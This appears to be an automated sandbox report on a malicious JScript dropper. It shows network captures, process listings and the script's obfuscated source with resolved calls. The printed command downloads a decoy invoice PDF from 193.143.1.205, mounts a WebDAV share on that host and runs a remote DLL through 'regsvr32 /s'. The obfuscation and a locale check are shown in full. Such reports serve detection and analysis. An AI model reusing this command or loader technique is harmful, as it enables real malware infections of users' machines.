/Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:59:02.343729019 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:59:02.343743086 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:59:02.343756914 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 20:59:02.343770027 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 20:59:02.343785048 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 20:59:02.343800068 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 20:59:02.343974113 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 20:59:02.344002008 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 20:59:02.344017029 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 20:59:02.348620892 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	193.143.1.205	8888	6792	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:59:04.447973967 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:59:05.260732889 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:59:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	2
Start time:	14:58:56
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js"
Imagebase:	0x7ff64e8d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:58:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Imagebase:	0x7ff7ba7f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:58:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:58:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:59:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:59:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ba7f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:59:03
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff610940000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:59:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:59:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:59:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1704,i,5724729208234068198,5192370386551454736,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sbycneap() {	sbycneap() ➔ undefined
1	dylkwhrl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rryntfj = this[fdwanoz + mrxphyod + yofmlxmr + knijb + ewthdzr + wchiic + wsbsjf + spihltx] ( this[acibi + iyvzfxs + quxzckivo + yofmlxmr + crfkhh + fdwanoz + spihltx][kgyijwgx + yofmlxmr + ewthdzr + mrxphyod + spihltx + ewthdzr + szenk + flbxrl + suylso + ewthdzr + quxzckivo + spihltx] ( acibi + iyvzfxs + quxzckivo + yofmlxmr + crfkhh + fdwanoz + spihltx + wdbwzqg + iyvzfxs + mqydobp + ewthdzr + nsfbp + nsfbp ) [jeokgufb + ewthdzr + shgrf + jeokgufb + ewthdzr + mrxphyod + shlxkzaz] ( rhqruqhtk + lxncukjxw + yvuilhozf + bcutko + drpxsbduj + kgyijwgx + nmcxomb + jeokgufb + jeokgufb + yvuilhozf + swafudvnl + nkgcu + drpxsbduj + nmcxomb + iyvzfxs + yvuilhozf + jeokgufb + ogdyr + kgyijwgx + zovzduceh + wsbsjf + spihltx + yofmlxmr + zovzduceh + nsfbp + hhxvlkrhs + qzkworf + mrxphyod + wsbsjf + ewthdzr + nsfbp + ogdyr + wchiic + wsbsjf + spihltx + ewthdzr + yofmlxmr + wsbsjf + mrxphyod + spihltx + crfkhh + zovzduceh + wsbsjf + mrxphyod + nsfbp + ogdyr + bqclrmn + zovzduceh + quxzckivo + mrxphyod + nsfbp + ewthdzr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nhwfjefdo = 0 ; nhwfjefdo < dylkwhrl[nsfbp + ewthdzr + wsbsjf + shgrf + spihltx + mqydobp] ; ++ nhwfjefdo )
4	{
5	if ( rryntfj == dylkwhrl[nhwfjefdo] )
6	{
7	rryntfj = true;
8	break ;
9	}
10	}
11	if ( rryntfj !== true )
12	this[acibi + iyvzfxs + quxzckivo + yofmlxmr + crfkhh + fdwanoz + spihltx][pbtwsy + qurfvc + crfkhh + spihltx] ( );
13	this[acibi + iyvzfxs + quxzckivo + yofmlxmr + crfkhh + fdwanoz + spihltx][kgyijwgx + yofmlxmr + ewthdzr + mrxphyod + spihltx + ewthdzr + szenk + flbxrl + suylso + ewthdzr + quxzckivo + spihltx] ( acibi + iyvzfxs + quxzckivo + yofmlxmr + crfkhh + fdwanoz + spihltx + wdbwzqg + iyvzfxs + mqydobp + ewthdzr + nsfbp + nsfbp ) [yofmlxmr + qurfvc + wsbsjf] ( quxzckivo + fpowv + shlxkzaz + hhxvlkrhs + jhecghsj + quxzckivo + hhxvlkrhs + fdwanoz + zovzduceh + kamigzsyd + ewthdzr + yofmlxmr + knijb + mqydobp + ewthdzr + nsfbp + nsfbp + wdbwzqg + ewthdzr + cottqbked + ewthdzr + hhxvlkrhs + xxxdqsz + kgyijwgx + zovzduceh + fpowv + fpowv + mrxphyod + wsbsjf + shlxkzaz + hhxvlkrhs + xciociasy + wchiic + wsbsjf + mngtwf + zovzduceh + fqeoqthce + ewthdzr + xxxdqsz + acibi + ewthdzr + flbxrl + jeokgufb + ewthdzr + ylsiyvju + qurfvc + ewthdzr + knijb + spihltx + hhxvlkrhs + xxxdqsz + szenk + qurfvc + spihltx + ugiewkvu + crfkhh + nsfbp + ewthdzr + hhxvlkrhs + hmldjwq + spihltx + ewthdzr + fpowv + fdwanoz + hmldjwq + ogdyr + crfkhh + wsbsjf + mngtwf + zovzduceh + crfkhh + quxzckivo + ewthdzr + wdbwzqg + fdwanoz + shlxkzaz + lxbjy + hhxvlkrhs + mqydobp + spihltx + spihltx + fdwanoz + vzsuzegh + jhecghsj + jhecghsj + nyjgupir + erhnjzp + xjhzly + wdbwzqg + nyjgupir + huqszqbak + xjhzly + wdbwzqg + nyjgupir + wdbwzqg + mfzzmqs + ujckfm + zxeufyvs + jhecghsj + crfkhh + wsbsjf + mngtwf + zovzduceh + crfkhh + quxzckivo + ewthdzr + wdbwzqg + fdwanoz + mqydobp + fdwanoz + xciociasy + hnjccdbpd + hnjccdbpd + knijb + spihltx + mrxphyod + yofmlxmr + spihltx + hhxvlkrhs + hmldjwq + spihltx + ewthdzr + fpowv + fdwanoz + hmldjwq + ogdyr + crfkhh + wsbsjf + mngtwf + zovzduceh + crfkhh + quxzckivo + ewthdzr + wdbwzqg + fdwanoz + shlxkzaz + lxbjy + hnjccdbpd + hnjccdbpd + quxzckivo + fpowv + shlxkzaz + hhxvlkrhs + jhecghsj + quxzckivo + hhxvlkrhs + wsbsjf + ewthdzr + spihltx + hhxvlkrhs + qurfvc + knijb + ewthdzr + hhxvlkrhs + ogdyr + ogdyr + nyjgupir + erhnjzp + xjhzly + wdbwzqg + nyjgupir + huqszqbak + xjhzly + wdbwzqg + nyjgupir + wdbwzqg + mfzzmqs + ujckfm + zxeufyvs + fqnvgcugg + sjszpit + sjszpit + sjszpit + sjszpit + ogdyr + shlxkzaz + mrxphyod + mngtwf + kamigzsyd + kamigzsyd + kamigzsyd + yofmlxmr + zovzduceh + zovzduceh + spihltx + ogdyr + hnjccdbpd + hnjccdbpd + quxzckivo + fpowv + shlxkzaz + hhxvlkrhs + jhecghsj + quxzckivo + hhxvlkrhs + yofmlxmr + ewthdzr + shgrf + knijb + mngtwf + yofmlxmr + xjhzly + mfzzmqs + hhxvlkrhs + jhecghsj + knijb + hhxvlkrhs + ogdyr + ogdyr + nyjgupir + erhnjzp + xjhzly + wdbwzqg + nyjgupir + huqszqbak + xjhzly + wdbwzqg + nyjgupir + wdbwzqg + mfzzmqs + ujckfm + zxeufyvs + fqnvgcugg + sjszpit + sjszpit + sjszpit + sjszpit + ogdyr + shlxkzaz + mrxphyod + mngtwf + kamigzsyd + kamigzsyd + kamigzsyd + yofmlxmr + zovzduceh + zovzduceh + spihltx + ogdyr + nyjgupir + fsjmzgcs + nyjgupir + ujckfm + erhnjzp + fsjmzgcs + erhnjzp + mfzzmqs + zxeufyvs + nyjgupir + wxfzl + ujckfm + mfzzmqs + zxeufyvs + wdbwzqg + shlxkzaz + nsfbp + nsfbp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll",0,false) ➔ 0
14	}
15	spihltx = "K";
16	spihltx = "F";
17	spihltx = "V";
18	spihltx = "N";
19	spihltx = "L";
20	spihltx = "t";
21	qurfvc = "P";
22	qurfvc = "C";
23	qurfvc = "y";
24	qurfvc = "g";
25	qurfvc = "u";
26	suylso = "U";
27	suylso = "j";
28	suylso = "H";
29	suylso = "m";
30	suylso = "Y";
31	suylso = "p";
32	suylso = "f";
33	suylso = "t";
34	suylso = "a";
35	suylso = "m";
36	suylso = "z";
37	suylso = "B";
38	suylso = "w";
39	suylso = "A";
40	suylso = "T";
41	suylso = "V";
42	suylso = "s";
43	suylso = "k";
44	suylso = "T";
45	suylso = "B";
46	suylso = "P";
47	suylso = "y";
48	suylso = "e";
49	suylso = "i";
50	suylso = "t";
51	suylso = "U";
52	suylso = "q";
53	suylso = "A";
54	suylso = "f";
55	suylso = "I";
56	suylso = "t";
57	suylso = "X";
58	suylso = "l";
59	suylso = "h";
60	suylso = "G";
61	suylso = "j";
62	quxzckivo = "L";
63	quxzckivo = "K";
64	quxzckivo = "p";
65	quxzckivo = "I";
66	quxzckivo = "q";
67	quxzckivo = "r";
68	quxzckivo = "j";
69	quxzckivo = "N";
70	quxzckivo = "l";
71	quxzckivo = "w";
72	quxzckivo = "c";
73	zxeufyvs = "i";
74	zxeufyvs = "Y";
75	zxeufyvs = "V";
76	zxeufyvs = "n";
77	zxeufyvs = "t";
78	zxeufyvs = "s";
79	zxeufyvs = "X";
80	zxeufyvs = "N";
81	zxeufyvs = "o";
82	zxeufyvs = "D";
83	zxeufyvs = "x";
84	zxeufyvs = "g";
85	zxeufyvs = "j";
86	zxeufyvs = "G";
87	zxeufyvs = "V";
88	zxeufyvs = "F";
89	zxeufyvs = "5";
90	mngtwf = "W";
91	mngtwf = "N";
92	mngtwf = "b";
93	mngtwf = "R";
94	mngtwf = "Q";
95	mngtwf = "m";
96	mngtwf = "K";
97	mngtwf = "Q";
98	mngtwf = "X";
99	mngtwf = "v";
100	mngtwf = "Z";
101	mngtwf = "d";
102	mngtwf = "z";
103	mngtwf = "f";
104	mngtwf = "L";
105	mngtwf = "K";
106	mngtwf = "C";
107	mngtwf = "b";
108	mngtwf = "a";
109	mngtwf = "Q";
110	mngtwf = "D";
111	mngtwf = "i";
112	mngtwf = "s";
113	mngtwf = "I";
114	mngtwf = "Q";
115	mngtwf = "C";
116	mngtwf = "v";
117	knijb = "D";
118	knijb = "l";
119	knijb = "W";
120	knijb = "X";
121	knijb = "K";
122	knijb = "N";
123	knijb = "F";
124	knijb = "h";
125	knijb = "f";
126	knijb = "s";
127	fqeoqthce = "S";
128	fqeoqthce = "k";
129	fqeoqthce = "f";
130	fqeoqthce = "n";
131	fqeoqthce = "Q";
132	fqeoqthce = "p";
133	fqeoqthce = "V";
134	fqeoqthce = "P";
135	fqeoqthce = "e";
136	fqeoqthce = "U";
137	fqeoqthce = "H";
138	fqeoqthce = "s";
139	fqeoqthce = "N";
140	fqeoqthce = "K";
141	fqeoqthce = "I";
142	fqeoqthce = "z";
143	fqeoqthce = "G";
144	fqeoqthce = "t";
145	fqeoqthce = "r";
146	fqeoqthce = "i";
147	fqeoqthce = "i";
148	fqeoqthce = "W";
149	fqeoqthce = "j";
150	fqeoqthce = "X";
151	fqeoqthce = "G";
152	fqeoqthce = "f";
153	fqeoqthce = "C";
154	fqeoqthce = "b";
155	fqeoqthce = "B";
156	fqeoqthce = "u";
157	fqeoqthce = "B";
158	fqeoqthce = "I";
159	fqeoqthce = "P";
160	fqeoqthce = "x";
161	fqeoqthce = "p";
162	fqeoqthce = "k";
163	fsjmzgcs = "Z";
164	fsjmzgcs = "J";
165	fsjmzgcs = "I";
166	fsjmzgcs = "w";
167	fsjmzgcs = "o";
168	fsjmzgcs = "N";
169	fsjmzgcs = "e";
170	fsjmzgcs = "r";
171	fsjmzgcs = "p";
172	fsjmzgcs = "r";
173	fsjmzgcs = "j";
174	fsjmzgcs = "n";
175	fsjmzgcs = "f";
176	fsjmzgcs = "r";
177	fsjmzgcs = "A";
178	fsjmzgcs = "o";
179	fsjmzgcs = "g";
180	fsjmzgcs = "Z";
181	fsjmzgcs = "n";
182	fsjmzgcs = "f";
183	fsjmzgcs = "k";
184	fsjmzgcs = "P";
185	fsjmzgcs = "6";
186	ylsiyvju = "l";
187	ylsiyvju = "w";
188	ylsiyvju = "H";
189	ylsiyvju = "c";
190	ylsiyvju = "t";
191	ylsiyvju = "e";
192	ylsiyvju = "E";
193	ylsiyvju = "d";
194	ylsiyvju = "o";
195	ylsiyvju = "v";
196	ylsiyvju = "z";
197	ylsiyvju = "I";
198	ylsiyvju = "Q";
199	ylsiyvju = "i";
200	ylsiyvju = "q";
201	mrxphyod = "r";
202	mrxphyod = "l";
203	mrxphyod = "x";
204	mrxphyod = "l";
205	mrxphyod = "V";
206	mrxphyod = "L";
207	mrxphyod = "M";
208	mrxphyod = "R";
209	mrxphyod = "y";
210	mrxphyod = "Z";
211	mrxphyod = "F";
212	mrxphyod = "y";
213	mrxphyod = "v";
214	mrxphyod = "C";
215	mrxphyod = "U";
216	mrxphyod = "C";
217	mrxphyod = "X";
218	mrxphyod = "Z";
219	mrxphyod = "K";
220	mrxphyod = "b";
221	mrxphyod = "F";
222	mrxphyod = "E";
223	mrxphyod = "a";
224	kgyijwgx = "g";
225	kgyijwgx = "I";
226	kgyijwgx = "m";
227	kgyijwgx = "q";
228	kgyijwgx = "M";
229	kgyijwgx = "I";
230	kgyijwgx = "S";
231	kgyijwgx = "T";
232	kgyijwgx = "K";
233	kgyijwgx = "G";
234	kgyijwgx = "H";
235	kgyijwgx = "C";
236	qzkworf = "e";
237	qzkworf = "B";
238	qzkworf = "k";
239	qzkworf = "b";
240	qzkworf = "f";
241	qzkworf = "Z";
242	qzkworf = "F";
243	qzkworf = "o";
244	qzkworf = "x";
245	qzkworf = "Q";
246	qzkworf = "Y";
247	qzkworf = "M";
248	qzkworf = "Q";
249	qzkworf = "O";
250	qzkworf = "N";
251	qzkworf = "P";
252	qzkworf = "w";
253	qzkworf = "P";
254	qzkworf = "F";
255	qzkworf = "u";
256	qzkworf = "c";
257	qzkworf = "L";
258	qzkworf = "V";
259	qzkworf = "M";
260	qzkworf = "W";
261	qzkworf = "Q";
262	qzkworf = "B";
263	qzkworf = "p";
264	qzkworf = "Z";
265	qzkworf = "d";
266	qzkworf = "A";
267	qzkworf = "i";
268	qzkworf = "m";
269	qzkworf = "a";
270	qzkworf = "K";
271	qzkworf = "H";
272	qzkworf = "s";
273	qzkworf = "w";
274	qzkworf = "e";
275	qzkworf = "r";
276	qzkworf = "n";
277	qzkworf = "t";
278	qzkworf = "L";
279	qzkworf = "s";
280	qzkworf = "P";
281	shlxkzaz = "X";
282	shlxkzaz = "k";
283	shlxkzaz = "o";
284	shlxkzaz = "F";
285	shlxkzaz = "A";
286	shlxkzaz = "b";
287	shlxkzaz = "w";
288	shlxkzaz = "l";
289	shlxkzaz = "b";
290	shlxkzaz = "J";
291	shlxkzaz = "x";
292	shlxkzaz = "U";
293	shlxkzaz = "f";
294	shlxkzaz = "v";
295	shlxkzaz = "D";
296	shlxkzaz = "B";
297	shlxkzaz = "g";
298	shlxkzaz = "w";
299	shlxkzaz = "C";
300	shlxkzaz = "L";
301	shlxkzaz = "h";
302	shlxkzaz = "A";
303	shlxkzaz = "d";
304	wdbwzqg = "h";
305	wdbwzqg = "B";
306	wdbwzqg = "h";
307	wdbwzqg = "w";
308	wdbwzqg = "b";
309	wdbwzqg = "h";
310	wdbwzqg = "X";
311	wdbwzqg = "s";
312	wdbwzqg = "G";
313	wdbwzqg = "n";
314	wdbwzqg = "n";
315	wdbwzqg = "l";
316	wdbwzqg = "b";
317	wdbwzqg = "R";
318	wdbwzqg = "E";
319	wdbwzqg = "k";
320	wdbwzqg = ".";
321	wchiic = "t";
322	wchiic = "p";
323	wchiic = "V";
324	wchiic = "Z";
325	wchiic = "a";
326	wchiic = "D";
327	wchiic = "p";
328	wchiic = "X";
329	wchiic = "O";
330	wchiic = "I";
331	wchiic = "B";
332	wchiic = "y";
333	wchiic = "P";
334	wchiic = "N";
335	wchiic = "p";
336	wchiic = "a";
337	wchiic = "M";
338	wchiic = "G";
339	wchiic = "G";
340	wchiic = "x";
341	wchiic = "l";
342	wchiic = "x";
343	wchiic = "I";
344	ogdyr = "T";
345	ogdyr = "u";
346	ogdyr = "u";
347	ogdyr = "y";
348	ogdyr = "D";
349	ogdyr = "c";
350	ogdyr = "g";
351	ogdyr = "T";
352	ogdyr = "X";
353	ogdyr = "b";
354	ogdyr = "D";
355	ogdyr = "D";
356	ogdyr = "Z";
357	ogdyr = "X";
358	ogdyr = "H";
359	ogdyr = "U";
360	ogdyr = "S";
361	ogdyr = "\\";
362	hhxvlkrhs = "o";
363	hhxvlkrhs = "r";
364	hhxvlkrhs = "Z";
365	hhxvlkrhs = "p";
366	hhxvlkrhs = "M";
367	hhxvlkrhs = "m";
368	hhxvlkrhs = "X";
369	hhxvlkrhs = "a";
370	hhxvlkrhs = "E";
371	hhxvlkrhs = "X";
372	hhxvlkrhs = "K";
373	hhxvlkrhs = "S";
374	hhxvlkrhs = "c";
375	hhxvlkrhs = "W";
376	hhxvlkrhs = "k";
377	hhxvlkrhs = "z";
378	hhxvlkrhs = "I";
379	hhxvlkrhs = "T";
380	hhxvlkrhs = "j";
381	hhxvlkrhs = "n";
382	hhxvlkrhs = "A";
383	hhxvlkrhs = "o";
384	hhxvlkrhs = "z";
385	hhxvlkrhs = "q";
386	hhxvlkrhs = "c";
387	hhxvlkrhs = "t";
388	hhxvlkrhs = "X";
389	hhxvlkrhs = "O";
390	hhxvlkrhs = " ";
391	huqszqbak = "j";
392	huqszqbak = "c";
393	huqszqbak = "c";
